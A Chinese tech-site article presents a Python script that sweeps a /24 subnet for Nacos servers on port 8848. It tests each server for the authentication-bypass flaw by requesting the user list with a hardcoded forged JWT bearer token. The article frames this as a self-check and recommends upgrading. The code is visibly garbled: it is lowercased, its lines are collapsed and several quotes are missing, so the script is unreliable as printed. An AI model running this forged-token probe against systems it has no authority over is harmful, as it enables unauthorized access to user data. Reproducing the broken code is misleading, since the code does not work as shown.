基于python的漏洞扫描器

官方确认,低版本的nacos服务管理平台存在多个安全漏洞。这些漏洞可能导致配置文件中的敏感信息泄漏或系统被入侵的风险。
今天浩道跟大家分享一个python脚本,主要用于自动检测某网段内主机上可能存在的nacos漏洞,可以方便大家对某网段内多台主机进行检测,一起看看吧!
如存在漏洞,建议及时升级nacos服务管理平台的版本,并修改默认密码,删除多余管理账号。
nacos.py脚本信息如下,大家可以根据自己实际网段修改对应代码即可。该脚本实现扫描的是192.168.100.0网段内主机上的nacos漏洞。
import requestsimport urllib3import threadingimport socketurllib3.disable_warnings()# 定义自定义路径和headercustom_path = '/nacos/v1/auth/users?pageno=1&pagesize=2'header = { user-agent: nacos-server, accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8, authorization: bearer eyjhbgcioijiuzi1nij9.eyjzdwiioijuywnvcyisimv4cci6mtyxodeymzy5n30.nyooal4omdibyxocu8kl1ooxd1iekj6wqzwih8nmcna, accept-language: zh-cn,zh;q=0.8,zh-tw;q=0.7,zh-hk;q=0.5,en-us;q=0.3,en;q=0.2, accept-encoding: gzip, deflate, connection: close, upgrade-insecure-requests: 1, sec-fetch-dest: document, sec-fetch-mode: navigate, sec-fetch-site: same-origin, pragma: no-cache, te: trailers, cache-control: no-cache,}# 定义函数,用于发起get请求并判断回显结果,每次调用这个函数发送一个请求def send_request(url): full_url = url + custom_path # 拼接完整url try: response = requests.get(full_url, headers=header, verify=false, timeout=2) if response.status_code == 200 and response.content.find(bpagenumber) != -1: print(f'{url} 存在nacos身份验证绕过漏洞') else: print(f'{url} 不存在nacos身份验证绕过漏洞') except requests.exceptions.requestexception as e: print(f'{url} 访问失败 {e}')# function to check if port 8848 is open on a given ip addressdef is_port_open(ip, port): sock = socket.socket(socket.af_inet, socket.sock_stream) sock.settimeout(2) # set a timeout of 2 seconds for the connection attempt result = sock.connect_ex((ip, port)) sock.close() return result == 0# scan the 192.168.100.1 network segment for hosts with port 8848 opennacos_hosts = []for i in range(1, 256): ip_address = f'192.168.100.{i}' if is_port_open(ip_address, 8848): nacos_hosts.append(ip_address)# perform nacos vulnerability check for hosts with port 8848 openif not nacos_hosts: print(no nacos server found on port 8848 in the 192.168.100.1 network segment.)else: print(ffound nacos server(s) on port 8848: {', '.join(nacos_hosts)}) threads = [] for host in nacos_hosts: t = threading.thread(target=send_request, args=(fhttp://{host}:8848,)) threads.append(t) t.start() # wait for all threads to complete for t in threads: t.join()  
以下针对三个网段执行脚本,如下图所示:


嵌入式开发中的软、硬件看门狗
镭神智能牵手华为,助力中国绿色物流与供应链发展
Wi-Fi 7作为下一代无线技术将达到数据速率的巅峰
为了收购东芝闪存 西部数据先找苹果谈话了
微软在GitHub开源深度学习工具包
基于python的漏洞扫描器
村田依托创新技术 直指可穿戴市场
PCBA无焊压入式连接技术的关键因素于材料选择
我国运营商的5G承载网络规模组网方案还面临着挑战
小米有品上架一款IDMIX多功能旅行充 电源适配器/移动电源/无线充三合一
眼动追踪对于AR眼镜的重要性不言而喻
苹果iPhone12信号全系翻车?
小米6确认4月发布:性能强劲还有双摄5倍光学变焦?
关于精密电子行业中点胶加工的工艺探究
Cisco 3750硬堆叠的配置方法,Cisco 3750堆叠有什么优势
msp430系统时钟详解
ADA4940-2超低功耗低失真ADC驱动器解读
怎么辨别延时玻璃保险管的好坏
雨量监测系统的优势及功能特点
可修正RF信号的RF预失真